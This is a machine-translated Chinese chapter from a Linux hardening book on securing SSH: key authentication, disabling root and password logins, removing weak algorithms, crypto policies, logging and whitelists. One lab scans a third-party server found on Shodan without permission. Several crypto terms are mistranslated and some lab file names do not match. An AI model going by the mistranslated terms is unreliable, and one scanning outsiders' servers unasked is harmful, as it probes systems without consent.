-正如我之前提到的,通常每台机器只能创建一个密钥对。然而,这条规则也有例外。一些管理员更喜欢对他们管理的每台服务器使用不同的密钥对,而不是对所有服务器使用相同的密钥对。一种简便的方法是创建文件名与相应服务器的主机名相匹配的密钥。然后,您可以使用`-i`选项来指定您想要使用的密钥对。 - -在这个例子中,我只有一个服务器,但我有多个密钥。假设我更喜欢使用`Ed25519`键: - -```sh -donnie@ubuntu1804-1:~$ ssh -i ~/.ssh/id_ed25519 donnie@192.168.0.8 -Last login: Wed Aug 28 15:58:26 2019 from 192.168.0.3 -[donnie@localhost ~]$ -``` - -所以,现在,你想知道,如果我可以不输入密码就登录,这有多安全?答案是,一旦您关闭用于登录的客户端机器的终端窗口,私钥将从您的会话密钥环中删除。当您打开一个新的终端并尝试登录到远程服务器时,您将看到以下内容: - -```sh -donnie@ubuntu1804-1:~$ ssh donnie@192.168.0.8 -Enter passphrase for key '/home/donnie/.ssh/id_rsa': -Last login: Wed Aug 28 16:00:33 2019 from 192.168.0.3 -[donnie@localhost ~]$ -``` - -现在,每次我登录到这个服务器时,我都需要输入我的私钥密码(也就是说,除非我用我在前面部分中向您展示的两个命令将它添加回会话密钥环)。 - -# 动手实验–创建和传输 SSH 密钥 - -在本实验中,您将使用一台**虚拟机** ( **虚拟机**)作为客户端,一台虚拟机作为服务器。或者,如果您使用的是 Windows 主机,则可以使用 Cygwin、PowerShell 或内置的 Windows Bash shell 作为客户端。(但是请注意,PowerShell 和 Windows Bash shell 将密钥文件存储在不同的位置。)如果您在 Mac 或 Linux 主机上,您可以使用主机的本机命令行终端作为客户端。无论如何,程序都是一样的。 - -对于服务器虚拟机,使用 Ubuntu 18.04 或 CentOS 7。这个过程在 CentOS 8 上也是一样的。但是,我们将在接下来的几个实验中使用相同的虚拟机,CentOS 8 有一些特殊的注意事项,我们将在后面讨论。让我们开始吧: - -1. 在客户端计算机上,创建一对 384 位椭圆曲线密钥。接受默认文件名和位置,并创建密码: - -```sh -ssh-keygen -t ecdsa -b 384 -``` - -2. 观察按键,注意权限设置: - -```sh -ls -l ./ssh -``` - -3. 将您的私钥添加到您的会话密钥环中。出现提示时,输入您的密码: - -```sh -exec /usr/bin/ssh-agent $SHELL -ssh-add -``` - -4. 将公钥传输到服务器虚拟机。出现提示时,输入您在服务器虚拟机上的用户帐户的密码(在以下命令中替换您自己的用户名和 IP 地址): - -```sh -ssh-copy-id donnie@192.168.0.7 -``` - -5. 像平常一样登录服务器虚拟机: - -```sh -ssh donnie@192.168.0.7 -``` - -6. 观察在服务器虚拟机上创建的`authorized_keys`文件: - -```sh -ls -l .ssh -cat .ssh/authorized_keys -``` - -7. 注销服务器虚拟机并关闭客户端上的终端窗口。打开另一个终端窗口,尝试再次登录服务器。这一次,应该会提示您输入私钥的密码。 -8. 注销服务器虚拟机,并将您的私钥添加回客户端的会话密钥环。出现提示时,输入您的私钥密码: - -```sh -exec /usr/bin/ssh-agent $SHELL -ssh-add -``` - -只要您在客户端上保持此终端窗口打开,您就可以根据需要多次登录服务器虚拟机,而无需输入密码。但是,当您关闭终端窗口时,您的私钥将从您的会话密钥环中删除。 - -9. 保留您的服务器虚拟机,因为我们稍后会用它做更多事情。 - -您已经到达了实验室的终点–祝贺您! - -我们在这里做的很好,但还是不够。一个缺陷是,如果您转到另一台客户端机器,您仍然可以使用正常的用户名/密码身份验证来登录。没关系;我们一会儿就能修好。 - -# 禁用根用户登录 - -几年前,在东南亚的某个地方,有一个颇为著名的案例,恶意行为者设法在相当多的 Linux 服务器上植入了恶意软件。坏人发现这很容易做到有三个原因: - -* 所涉及的面向互联网的服务器被设置为对 SSH 使用用户名/密码验证。 -* 允许根用户通过 SSH 登录。 -* 用户密码,包括根用户的密码,非常弱。 - -所有这一切意味着冰雹玛丽很容易蛮力进入。 - -不同的发行版对根用户登录有不同的默认设置。在您的 CentOS 机器的`/etc/ssh/sshd_config`文件中,您会看到这一行: - -```sh -#PermitRootLogin yes -``` - -与大多数配置文件不同的是,`sshd_config`中的注释行定义了安全外壳守护程序的默认设置。所以,这一行表示根用户确实被允许通过 SSH 登录。要改变这一点,我将删除注释符号并将设置更改为`no`: - -```sh -PermitRootLogin no -``` - -为了使新的设置生效,我将重新启动 SSH 守护程序,它在 CentOS 上被命名为`sshd`,在 Ubuntu 上被命名为`ssh`: - -```sh -sudo systemctl restart sshd -``` - -在 Ubuntu 机器上,默认设置看起来有点不同: - -```sh -PermitRootLogin prohibit-password -``` - -这意味着允许根用户登录,但只能通过公钥交换。如果您真的需要允许根用户登录,这可能已经足够安全了。但是在大多数情况下,您会希望强制管理员用户使用他们的正常用户帐户登录,并使用`sudo`来满足他们的管理需求。所以,大多数情况下,你还是要把这个设置改成`no`。 - -Be aware that if you deploy a Linux instance on a cloud service, such as Rackspace or Vultr, the service owners will have you log into the VM with the root user account. The first thing you'll want to do is create your own normal user account, log back in with that account, disable the root user account, and disable the root user login in `sshd_config`. Microsoft Azure is one exception to this rule because it automatically creates a non-privileged user account for you. - -在下一节中,您将能够在几分钟内练习这一点。 - -# 禁用用户名/密码登录 - -这是您在与客户建立密钥交换后才想做的事情。否则,客户端将被禁止进行远程登录。 - -# 动手实验–禁用根登录和密码验证 - -对于本实验,请使用与上一实验相同的服务器虚拟机。让我们开始吧: - -1. 在 Ubuntu 或 CentOS 服务器虚拟机上,在`sshd_config`文件中查找这一行: - -```sh -#PasswordAuthentication yes -``` - -2. 去掉注释符号,将参数值改为`no`,重启 SSH 守护进程。该行现在应该如下所示: - -```sh -PasswordAuthentication no -``` - -现在,当僵尸网络扫描你的系统时,他们会发现进行暴力密码攻击毫无用处。然后他们就会走开,让你一个人呆着。 - -3. 根据服务器是 Ubuntu 还是 CentOS 虚拟机,查找这两行中的任意一行: - -```sh -#PermitRootLogin yes -#PermitRootLogin prohibit-password -``` - -取消对该行的注释,并将其更改为以下内容: - -```sh -PermitRootLogin no -``` - -4. 重新启动 SSH 守护程序,以便它能够读入新的更改。在 Ubuntu 上,您可以这样做: - -```sh -sudo systemctl restart ssh -``` - -在 CentOS 上,您可以这样做: - -```sh -sudo systemctl restart sshd -``` - -5. 尝试从您在上一个实验中使用的客户端登录到服务器虚拟机。 -6. 尝试从尚未创建密钥对的另一个客户端登录到服务器虚拟机。(你不应该可以。) -7. 像以前一样,保留服务器虚拟机,因为我们稍后会用它做更多的事情。 - -您已经到达了实验室的终点–祝贺您! - -既然我们已经介绍了如何在客户端创建私有/公共密钥对,以及如何将公共密钥传输到服务器,那么我们就来谈谈 SSH 使用的算法类型。之后,我们将讨论如何禁用一些较旧、较弱的算法。 - -# 使用强加密算法配置安全外壳 - -正如我之前提到的,当前的 NIST 建议集**商业国家安全算法套件** ( **CNSA 套件**)涉及使用比我们之前需要使用的更强的算法和更长的密钥。我将在此表中总结新的建议: - -| **算法** | 用法 | -| RSA,3,072 位或更大 | 密钥建立和数字签名 | -| Diffie-Hellman (DH),3,072 位或更大 | 关键机构 | -| ECDH 与 NIST P-384 | 关键机构 | -| 带有 NIST P-384 的电子海图显示和导航系统 | 数字签名 | -| SHA-384 | 完整 | -| AES-256 | 机密 | - -在其他出版物中,您可能会看到 NIST 套件 B 是加密算法的推荐标准。乙套房是一个旧的标准,已被 CNSA 套房取代。 - -另一个你可能不得不使用的密码标准是**联邦信息处理标准** ( **FIPS** ),它也是由美国政府颁布的。目前的版本是 FIPS 140-2,最近一次修订是在 2002 年 12 月。2019 年 9 月 22 日获得最终批准的 FIPS 140-3 最终将成为新标准。受 FIPS 法规约束的美国政府机构已经被指示开始向 FIPS 140-3 过渡。 - -# 了解 SSH 加密算法 - -SSH 结合了对称和非对称加密技术,类似于传输层安全性。SSH 客户端通过使用公钥方法与 SSH 服务器建立非对称会话来启动该过程。一旦建立了这个会话,两台机器就可以达成一致并交换一个密码,它们将使用这个密码来建立一个对称会话。(正如我们之前在 TLS 中看到的,出于性能原因,我们希望使用对称加密,但我们需要一个非对称会话来执行密钥交换。)为了实现这一神奇功能,我们需要四类加密算法,我们将在服务器端配置它们。这些措施如下: - -* `Ciphers`:这些是对客户端和服务器之间交换的数据进行加密的对称算法。 -* `HostKeyAlgorithms`:这是服务器可以使用的主机密钥类型列表。 -* `KexAlgorithms`:这些是服务器可以用来进行对称密钥交换的算法。 -* `MAC`:消息认证码是对传输中的加密数据进行加密签名的哈希算法。这可以确保数据的完整性,并让您知道是否有人篡改了您的数据。 - -获得这种感觉的最好方法是查看`sshd_config`手册页,如下所示: - -```sh -man sshd_conf -``` - -我可以用任何虚拟机来演示这一点。不过,目前我打算用 CentOS 7,除非我声明不是这样。(对于不同的 Linux 发行版和版本,默认算法和可用算法的列表会有所不同。) - -首先,让我们看看支持的密码列表。向下滚动手册页,直到看到它们: - -```sh -3des-cbc -aes128-cbc -aes192-cbc -aes256-cbc -aes128-ctr -aes192-ctr -aes256-ctr -aes128-gcm@openssh.com -aes256-gcm@openssh.com -arcfour -arcfour128 -arcfour256 -blowfish-cbc -cast128-cbc -chacha20-poly1305@openssh.com -``` - -但是,并非所有这些受支持的密码都已启用。就在这个列表下面,我们可以看到默认启用的密码列表: - -```sh -chacha20-poly1305@openssh.com, -aes128-ctr,aes192-ctr,aes256-ctr, -aes128-gcm@openssh.com,aes256-gcm@openssh.com, -aes128-cbc,aes192-cbc,aes256-cbc, -blowfish-cbc,cast128-cbc,3des-cbc -``` - -接下来,按字母顺序排列的是`HostKeyAlgorithms`。CentOS 7 上的列表如下所示: - -```sh -ecdsa-sha2-nistp256-cert-v01@openssh.com, -ecdsa-sha2-nistp384-cert-v01@openssh.com, -ecdsa-sha2-nistp521-cert-v01@openssh.com, -ssh-ed25519-cert-v01@openssh.com, -ssh-rsa-cert-v01@openssh.com, -ssh-dss-cert-v01@openssh.com, -ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521, -ssh-ed25519,ssh-rsa,ssh-dss -``` - -接下来,向下滚动至**密钥算法**(简称**密钥交换算法**)部分。您将看到支持的算法列表,如下所示: - -```sh -curve25519-sha256 -curve25519-sha256@libssh.org -diffie-hellman-group1-sha1 -diffie-hellman-group14-sha1 -diffie-hellman-group-exchange-sha1 -diffie-hellman-group-exchange-sha256 -ecdh-sha2-nistp256 -ecdh-sha2-nistp384 -ecdh-sha2-nistp521 -``` - -请注意,此列表可能因发行版本而异。例如,RHEL 8/CentOS 8 支持三种更新更强的额外算法。它的列表如下所示: - -```sh -curve25519-sha256 -curve25519-sha256@libssh.org -diffie-hellman-group1-sha1 -diffie-hellman-group14-sha1 -diffie-hellman-group14-sha256 -diffie-hellman-group16-sha512 -diffie-hellman-group18-sha512 -diffie-hellman-group-exchange-sha1 -diffie-hellman-group-exchange-sha256 -ecdh-sha2-nistp256 -ecdh-sha2-nistp384 -ecdh-sha2-nistp521 -``` - -接下来,您将看到默认启用的算法列表: - -```sh -curve25519-sha256,curve25519-sha256@libssh.org, -ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521, -diffie-hellman-group-exchange-sha256, -diffie-hellman-group14-sha1, -diffie-hellman-group1-sha1 -``` - -该列表也可能因不同的 Linux 发行版而异。(不过,在这种情况下,CentOS 7 和 CentOS 8 没有区别。) - -最后,我们有媒体访问控制算法。CentOS 7 上启用算法的默认列表如下所示: - -```sh -umac-64-etm@openssh.com,umac-128-etm@openssh.com, -hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com, -hmac-sha1-etm@openssh.com, -umac-64@openssh.com,umac-128@openssh.com, -hmac-sha2-256,hmac-sha2-512,hmac-sha1, -hmac-sha1-etm@openssh.com -``` - -要查看您的特定系统支持的算法列表,请查看该机器的`sshd_config`手册页或执行以下`ssh -Q`命令: - -```sh -ssh -Q cipher -ssh -Q key -ssh -Q kex -ssh -Q mac -``` - -当您查看`/etc/ssh/sshd_config`文件时,您不会看到任何配置这些算法的行。这是因为默认的算法列表是硬编码到 SSH 守护程序中的。您唯一一次配置这些选项是如果您想启用一个未启用的算法或者禁用一个已启用的算法。在此之前,让我们扫描一下我们的系统,看看启用了什么,看看扫描仪是否能提供任何建议。 - -# 扫描已启用的 SSH 算法 - -我们有两种扫描 SSH 服务器的好方法。如果您的服务器可以通过互联网访问,您可以访问位于[https://sshcheck.com/](https://sshcheck.com/)的 SSHCheck 站点。 - -然后,只需输入服务器的 IP 地址或主机名。如果您已经从默认端口`22`更改了端口,请输入端口号。扫描完成后,您将看到已启用算法的列表,以及启用或禁用哪些算法的建议。 - -如果您要扫描的机器无法从互联网上访问,或者您更愿意使用本地扫描工具,您可以安装`ssh_scan`。让我们现在就开始动手练习吧。我会边走边解释一切。 - -# 动手实验–安装和使用 ssh_scan - -在本实验中,您可以使用您的 Ubuntu 机器或您的 CentOS 机器。让我们开始吧: - -1. `ssh_scan`不在我们任何一个 Linux 发行版的存储库中。它是用 Ruby 语言编写的,包装成 Ruby 宝石。首先,我们需要安装`ruby`和`gem`软件包。在 Ubuntu 上,执行以下操作: - -```sh -sudo apt update -sudo apt install ruby gem -``` - -在 CentOS 7 上,执行以下操作: - -```sh -sudo yum install ruby gem -``` - -在 CentOS 8 上,执行以下操作: - -```sh -sudo dnf install ruby gem -``` - -2. 使用以下命令安装`ssh_scan`宝石: - -```sh -sudo gem install ssh_scan -``` - -3. 在所有情况下,`ssh_scan`可执行文件将被安装在`/usr/local/bin/`目录中。CentOS 的一个长期怪癖是,如果你使用`sudo`在那个目录中调用一个命令,系统将找不到它,即使这个目录在根用户的 PATH 设置中。解决方法是在`/usr/bin/`目录中创建一个到`ssh_scan`的符号链接。仅在 CentOS 上,请执行以下操作: - -```sh -sudo ln -s /usr/local/bin/ssh_scan /usr/bin/ssh_scan -``` - -4. `ssh_scan`没有手册页。要查看命令选项列表,请使用以下命令: - -```sh -sudo ssh_scan -h -``` - -5. 扫描您在前面的实验中创建和配置的服务器虚拟机。用你自己的 IP 地址代替我在这里使用的地址。注意屏幕输出是如何采用 JSON 格式的。此外,请注意,即使您尚未在扫描仪机器上创建密钥对,扫描仍可在禁用用户名/密码身份验证的机器上运行(但当然,您将无法从扫描仪机器登录): - -```sh -sudo ssh_scan -t 192.168.0.7 -``` - -6. 重复扫描,但这一次,将输出保存到一个`.json`文件,如下所示: - -```sh -sudo ssh_scan -t 192.168.0.7 -o ssh_scan-7.json -``` - -7. 您可以在普通的文本编辑器或寻呼机中打开 JSON 文件,但是如果您在网络浏览器中打开它,它会看起来更好。将文件传输到具有桌面界面的机器上,并在首选网络浏览器中打开它。应该是这样的: - -![](img/c57c0bde-b260-4843-a6f2-4c2fbba8695f.png) - -8. 您将看到所有已启用算法的完整列表。在底部,您将看到关于应该启用还是禁用哪些算法的建议。由于`ssh_scan`是一个 Mozilla 基金会的项目,它使用 Mozilla 自己的建议作为其政策指南。这些与 NIST 这样的机构所推荐的不同。因此,你需要将你的结果与适用于你的环境的标准进行比较,比如 NIST 的 CNSA 标准,以确保你启用或禁用了正确的东西。 -9. 在你的主机或带有桌面界面的虚拟机上,访问[网站。在搜索窗口中输入`ssh`,观察出现的面向互联网的 SSH 服务器列表。点击不同的 IP 地址,直到你找到一个运行在默认端口`22`上的*而不是*的 SSH 服务器。观察该设备的已启用算法列表。](https://www.shodan.io) -10. 扫描设备,使用`-p`开关扫描不同的端口,如下所示: - -```sh -sudo ssh_scan -t 178.60.214.30 -p 222 -o ssh_scan-178-60-214-30.json -``` - -请注意,除了您在 Shodan 上看到的已启用算法列表之外,您现在还有一个弱算法列表,该设备的所有者需要禁用这些算法。 - -11. 将这个扫描仪和这个服务器虚拟机放在手边,因为在禁用一些算法后,我们将再次使用它们。 - -您已经到达了实验室的终点–祝贺您! - -好吧。让我们禁用一些破旧不堪的东西。 - -# 禁用弱 SSH 加密算法 - -`ssh_scan`工具非常俏皮,非常方便,但是它确实有一个小缺点。它很好地向您展示了在远程机器上启用了哪些加密算法,但是您不能相信它关于启用或禁用什么的建议。问题是 Mozilla 基金会创建这个工具是为了满足他们自己的内部需求,而不是为了符合 FIPS 或 NIST·CNSA 的标准。它的不良建议的一个很好的例子是它告诉你启用任何 192 位算法。如果您想让您的服务器符合公认的最佳安全实践,这是一个很大的禁忌。因此,使用该工具的最佳方式是运行扫描,然后将结果与 NIST·CNSA 或 FIPS 推荐的结果进行比较。然后,相应地禁用或启用算法。 - -可用算法的列表因 Linux 发行版而异。为了使事情不那么混乱,我将在这一部分介绍两个实际操作过程。一个是针对 Ubuntu 18.04 的,一个是针对 CentOS 7 的。CentOS 8 有自己独特的做生意方式,所以我把它留到下一节。 - -# 动手实验–禁用弱 SSH 加密算法–Ubuntu 18.04 - -在本实验中,您将需要一直用作扫描仪的虚拟机,以及另一个要扫描和配置的 Ubuntu 18.04 虚拟机。让我们开始吧: - -1. 如果您还没有这样做,请扫描 Ubuntu 18.04 虚拟机,并将输出保存到文件中: - -```sh -sudo ssh_scan -t 192.168.0.7 -o ssh_scan-7.json -``` - -2. 在目标 Ubuntu 18.04 VM 上,在首选文本编辑器中打开`/etc/ssh/sshd_config`文件。在文件的顶部,找到这两行: - -```sh -# Ciphers and keying -#RekeyLimit default none -``` - -3. 在这两行下面,插入这三行: - -```sh -Ciphers -aes128-ctr,aes192-ctr,aes128-gcm@openssh.com - -KexAlgorithms ecdh-sha2-nistp384 - -MACs -hmac-sha1-etm@openssh.com,hmac-sha1,umac-64-etm@openssh.com,umac-64@openssh.com,umac-128-etm@openssh.com,umac-128@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-256 -``` - -在`Ciphers`和`MACs`行中,您可以看到前面的`-`符号禁用的算法的逗号分隔列表。(您只需要一个`-`即可禁用列表中的所有算法。)在`KexAlgorithms`线,没有`-`标志。这意味着该行中列出的算法是唯一启用的算法。 - -4. 保存文件并重新启动 SSH 守护程序。验证它是否正确启动: - -```sh -sudo systemctl restart ssh -sudo systemctl status ssh -``` - -5. 再次扫描 Ubuntu 18.04 虚拟机,将输出保存到不同的文件: - -```sh -sudo ssh_scan -t 192.168.0.7 -o ssh_scan-7-modified.json -``` - -6. 在扫描仪 VM 上,使用`diff`比较两个文件。您应该看到比以前更少的算法: - -```sh -diff -y ssh_scan_results-7.json ssh_scan_results-7-modified.json -``` - -The sharp-eyed among you will notice that we left one Cipher that isn't on the NIST CNSA list.  `chacha20-poly1305@openssh.com` is a lightweight algorithm that's good for use with low-powered, hand-held devices. It's a good, strong algorithm that can replace the venerable **Advanced Encryption Standard** (**AES**) algorithm, but with higher performance. However, if you have to remain 100% compliant with the NIST CNSA standard, then you might have to disable it. - -您已经到达了实验室的终点–祝贺您! - -接下来,让我们使用 CentOS 7。 - -# 动手实验–禁用弱 SSH 加密算法–CentOS 7 - -当您开始使用 CentOS 7 时,您会注意到两件事: - -* **启用更多算法**:CentOS 7 上的默认 SSH 配置启用的算法比 Ubuntu 18.04 多很多。这包括一些你真的不想再看到的非常古老的东西。我说的是河豚和 3DES 之类的东西,早就应该退役了。 -* **一种不同的配置技术**:在 CentOS 上,在你想要禁用的算法列表前放置一个`-`符号是不起作用的。相反,您需要列出您想要启用的所有算法。 - -在本实验中,您将需要一个 CentOS 7 虚拟机和您一直使用的同一扫描虚拟机。考虑到这一点,让我们开始工作: - -1. 扫描 CentOS 7 虚拟机,并将输出保存到文件中: - -```sh -sudo ssh_scan -t 192.168.0.53 -o ssh_scan-53.json -``` - -2. 在目标 CentOS 7 VM 上,在首选文本编辑器中打开`/etc/ssh/sshd_config`文件。在文件的顶部,找到这两行: - -```sh -# Ciphers and keying -#RekeyLimit default none -``` - -3. 在这两行下面,插入这三行: - -```sh -Ciphers aes256-gcm@openssh.com,aes256-ctr,chacha20-poly1305@openssh.com - -KexAlgorithms ecdh-sha2-nistp384 - -MACs hmac-sha2-256-etm@openssh.com,hmac-sha2-256 -``` - -正如我之前提到的,对于 CentOS,使用`-`禁用算法是行不通的。相反,我们必须列出所有我们想启用的算法。 - -4. 保存文件并重新启动 SSH 守护程序。验证它是否正确启动: - -```sh -sudo systemctl restart sshd -sudo systemctl status sshd -``` - -5. 再次扫描 CentOS 7 虚拟机,将输出保存到不同的文件: - -```sh -sudo ssh_scan -t 192.168.0.53 -o ssh_scan-53-modified.json -``` - -6. 在扫描仪 VM 上,使用`diff`比较两个文件。您应该看到比以前更少的算法: - -```sh -diff -y ssh_scan_results-53.json ssh_scan_results-53-modified.json -``` - -As before, I left the `chacha20-poly1305@openssh.com`  algorithm enabled. If you have to remain 100% compliant with the NIST CNSA standard, then you might have to disable it. - -您已经到达了实验室的终点–祝贺您! - -接下来,让我们看看 RHEL 8 系列附带的一个方便的新功能。 - -# 在 RHEL 8/CentOS 8 上设置系统范围的加密策略 - -在[第 5 章](05.html)、*加密技术*中,我们简要介绍了如何在 CentOS 8 上设置系统范围的加密策略。有了这个全新的功能,您不再需要为每个单独的守护进程配置加密策略。相反,您只需运行几个简单的命令,多个守护程序的策略就会立即改变。要查看覆盖了哪些守护程序,请查看`/etc/crypto-policies/back-ends/`目录。以下是部分内容: - -```sh -[donnie@localhost back-ends]$ ls -l -total 0 -. . . -. . . -lrwxrwxrwx. 1 root root 46 Sep 24 18:17 openssh.config -> /usr/share/crypto-policies/DEFAULT/openssh.txt - -lrwxrwxrwx. 1 root root 52 Sep 24 18:17 opensshserver.config -> /usr/share/crypto-policies/DEFAULT/opensshserver.txt - -lrwxrwxrwx. 1 root root 49 Sep 24 18:17 opensslcnf.config -> /usr/share/crypto-policies/DEFAULT/opensslcnf.txt - -lrwxrwxrwx. 1 root root 46 Sep 24 18:17 openssl.config -> /usr/share/crypto-policies/DEFAULT/openssl.txt -[donnie@localhost back-ends]$ -``` - -如您所见,该目录包含指向文本文件的符号链接,这些文本文件包含关于为`DEFAULT`配置启用或禁用哪些算法的指令。向上一级,在`/etc/crypto-policies`目录中,有`config`文件。打开它,您会看到这是设置系统范围配置的地方。它还包含对各种可用模式的解释: - -```sh -# * LEGACY: Ensures maximum compatibility with legacy systems (64-bit -# security) -# -# * DEFAULT: A reasonable default for today's standards (112-bit security). -# -# * FUTURE: A level that will provide security on a conservative level that is -# believed to withstand any near-term future attacks (128-bit security). -# -# * FIPS: Policy that enables only FIPS 140-2 approved or allowed algorithms. -# -# After modifying this file, you need to run update-crypto-policies -# for the changes to propagate. -# -DEFAULT -``` - -用其`DEFAULT`配置扫描该虚拟机,显示相当多的较旧算法仍处于启用状态。要摆脱它们,我们可以切换到`FUTURE`模式或`FIPS`模式。 - -为了向您展示这是如何工作的,让我们用另一个实验室来弄脏我们的手。 - -# 动手实验–在 CentOS 8 上设置加密策略 - -从全新的 CentOS 8 虚拟机和您一直使用的扫描虚拟机开始。现在,按照以下步骤操作: - -1. 在 CentOS 8 虚拟机上,使用`update-crypto-policies`实用程序验证其是否在`DEFAULT`模式下运行: - -```sh -sudo update-crypto-policies --show -``` - -2. 在其`DEFAULT`配置中扫描 CentOS 8 虚拟机,并将输出保存到文件中: - -```sh -sudo ssh_scan -t 192.168.0.161 -o ssh_scan-161.json -``` - -3. 在 CentOS 8 虚拟机上,将系统范围的加密策略设置为`FUTURE`并重新启动虚拟机: - -```sh -sudo update-crypto-policies --set FUTURE -sudo shutdown -r now -``` - -4. 在扫描仪虚拟机上,在文本编辑器中打开`~/.ssh/known_hosts`文件。删除先前为 CentOS 8 虚拟机创建的条目并保存文件。(我们必须这样做,因为由于新的策略,CentOS 8 VM 上的公钥指纹将发生变化。) - -5. 再次扫描 CentOS 8 虚拟机,将输出保存到不同的文件: - -```sh -sudo ssh_scan -t 192.168.0.161 -o ssh_scan_results-161-FUTURE.json -``` - -6. 比较两个输出文件。您现在应该看到比以前更少的启用算法。 -7. 查看`/etc/crypto-policies/back-ends/`目录中的文件: - -```sh -ls -l /etc/crypto-policies/back-ends/ -``` - -您现在会看到符号链接指向`FUTURE`目录中的文件。 - -8. 要设置`FIPS`模式,您需要使用另一个实用程序,因为`update-crypto-policies`实用程序没有安装`FIPS`模式所需的额外模块。首先,确认系统没有处于`FIPS`模式: - -```sh -sudo fips-mode-setup --check -``` - -您应该会看到一条关于没有安装 FIPS 模块的消息。 - -9. 启用`FIPS`模式,然后重启: - -```sh -sudo fips-mode-setup --enable -sudo shutdown -r now -``` - -10. 验证虚拟机现在处于`FIPS`模式: - -```sh -sudo fips-mode-setup --check -``` - -11. 再次扫描 CentOS 虚拟机,将输出保存到新文件中: - -```sh -sudo ssh_scan -t 192.168.0.161 -o ssh_scan_results-161-FIPS.json -``` - -12. 比较三个输出文件,并注意启用算法的差异。 -13. 查看`/etc/crypto-policies/back-ends/`目录的内容。请注意,符号链接现在指向 FIPS 目录中的文件。 - -```sh -ls -l /etc/crypto-policies/back-ends/ -``` - -In this demo, we set the `FUTURE` mode first, and then we set the `FIPS` mode. Keep in mind that, in real life, you won't do both. Instead, you'll do either one or the other. - -您已经到达了实验室的终点–祝贺您! - -您现在知道如何配置 SSH,只使用最现代、最安全的算法。接下来,让我们看看日志。 - -# 配置更详细的日志记录 - -在其默认配置中,只要有人通过 SSH、SCP 或 SFTP 登录,SSH 就已经创建了日志条目。在 Debian/Ubuntu 系统中,条目在`/var/log/auth.log`文件中创建。在红帽/CentOS 系统上,条目在`/var/log/secure`文件中创建。无论哪种方式,日志条目看起来都像这样: - -```sh -Oct 1 15:03:23 donnie-ca sshd[1141]: Accepted password for donnie from 192.168.0.225 port 54422 ssh2 - -Oct 1 15:03:24 donnie-ca sshd[1141]: pam_unix(sshd:session): session opened for user donnie by (uid=0) -``` - -打开`sshd_config`手册页,向下滚动至`LogLevel`项。在这里,您将看到为记录 SSH 消息提供不同详细级别的各种设置。级别如下: - -* `QUIET` -* `FATAL` -* `ERROR` -* `INFO` -* `VERBOSE` -* `DEBUG`或`DEBUG1` -* `DEBUG2` -* `DEBUG3` - -通常情况下,我们只关心其中的两个`INFO`和`VERBOSE`。`INFO`是默认设置,而`VERBOSE`是我们在正常情况下唯一会使用的另一个设置。各种`DEBUG`级别可能对故障排除有用,但手册页警告我们,在生产设置中使用`DEBUG`会侵犯用户隐私。 - -让我们继续,把我们的手弄脏,只是为了感受不同级别记录的内容。 - -# 动手实验–配置更详细的 SSH 日志记录 - -对于本实验,请使用您在之前实验中使用的虚拟机。这样,您将更好地了解完整的`sshd_config`文件在完全锁定时应该是什么样子。通过 SSH 远程登录到目标虚拟机,并执行以下步骤: - -1. 打开主日志文件,向下滚动到您看到因登录而创建的条目的位置。观察它说什么,然后用更少的 Ubuntu 退出: - -```sh -sudo less /var/log/auth.log -``` - -对于 CentOS: - -```sh -sudo less /var/log/secure -``` - -2. 正如我之前提到的,您永远不希望在 SSH 日志级别设置为任何`DEBUG`级别的情况下运行生产机器。但是,为了让您可以看到它记录了什么,现在将您的机器设置为`DEBUG`。在您最喜欢的文本编辑器中打开`/etc/ssh/sshd_config`文件。找到下面这句话: - -```sh -#LogLevel INFO -``` - -将其更改为以下内容: - -```sh -LogLevel DEBUG3 -``` - -3. 保存文件后,重新启动 SSH。在 Ubuntu 上,执行以下操作: - -```sh -sudo systemctl restart ssh -``` - -在 CentOS 上,执行以下操作: - -```sh -sudo systemctl restart sshd -``` - -4. 注销 SSH 会话,然后重新登录。查看系统日志文件,查看新登录的新条目。 -5. 打开`/etc/ssh/sshd_config`文件进行编辑。将`LogLevel DEBUG3`线改为如下: - -```sh -LogLevel VERBOSE -``` - -6. 保存文件后,重新启动 SSH 守护程序。注销 SSH 会话,重新登录,并查看系统日志文件中的条目。 - -The main benefit of `VERBOSE` mode is that it will log the fingerprints of any key that was used to log in. This can be a big help with key management. - -您已经到达了实验室的终点–祝贺您! - -好吧。到目前为止,您已经看到了如何在系统日志中获取关于 SSH 登录的更多信息。接下来,让我们谈谈访问控制。 - -# 使用白名单和 TCP 包装器配置访问控制 - -我们已经通过要求客户端通过密钥交换而不是用户名和密码进行身份验证很好地锁定了一些东西。当我们禁止密码认证时,坏人可以对我们进行暴力密码攻击,直到奶牛回家,这对他们没有任何好处。(虽然,事实上,一旦他们发现密码验证已经被禁用,他们就会放弃。)作为额外的安全措施,我们还可以设置几个访问控制机制,只允许某些用户、组或客户端机器登录 SSH 服务器。这两种机制如下: - -* `sshd_config`文件中的白名单 -* TCP 包装器,通过`/etc/hosts.allow`和`/etc/hosts.deny`文件 - -好吧,你现在是说,*但是防火墙呢?这不是我们可以使用的第三种机制吗?*是的,你是对的。但是,我们已经在[第 3 章](03.html)、*用防火墙保护您的服务器-第 1 部分*、[第 4 章](04.html)、*用防火墙保护您的服务器-第 2 部分*中介绍了防火墙,因此我在此不再重复。但是,无论如何,这是控制访问服务器的三种方法。如果你真的想的话,你可以同时使用这三种方法,也可以一次只使用其中一种。(这真的取决于你有多偏执。) - -There are two competing philosophies about how to do access control. With blacklists, you specifically prohibit access by certain people or machines. That's difficult to do because the list could get very long, and you still won't block everybody that you need to block. The preferred and easier method is to use whitelists, which specifically allow access by certain people or machines. - -首先,让我们通过动手实验来看看如何在`sshd_config`内创建白名单。 - -# 在 sshd _ config 中配置白名单 - -您可以在`sshd_config`内设置的四个访问控制指令如下: - -* `DenyUsers` -* `AllowUsers` -* `DenyGroups` -* `AllowGroups` - -对于每个指令,您可以指定多个用户名或组名,并用空格分隔。此外,这四个指令按照我在这里列出的顺序进行处理。换句话说,如果用户同时被列在`DenyUsers`和`AllowUsers`指令中,则`DenyUsers`优先。如果用户与`DenyUsers`一起列出,并且是与`AllowGroups`一起列出的组的成员,则`DenyUsers`再次优先。为了演示这一点,让我们完成一个实验。 - -# 实验操作–在 sshd _ config 中配置白名单 - -本实验将在您的任何虚拟机上运行。请遵循以下步骤: - -1. 在要配置的虚拟机上,为弗兰克、查理和玛吉创建用户帐户。在 Ubuntu 上,执行以下操作: - -```sh -sudo adduser frank 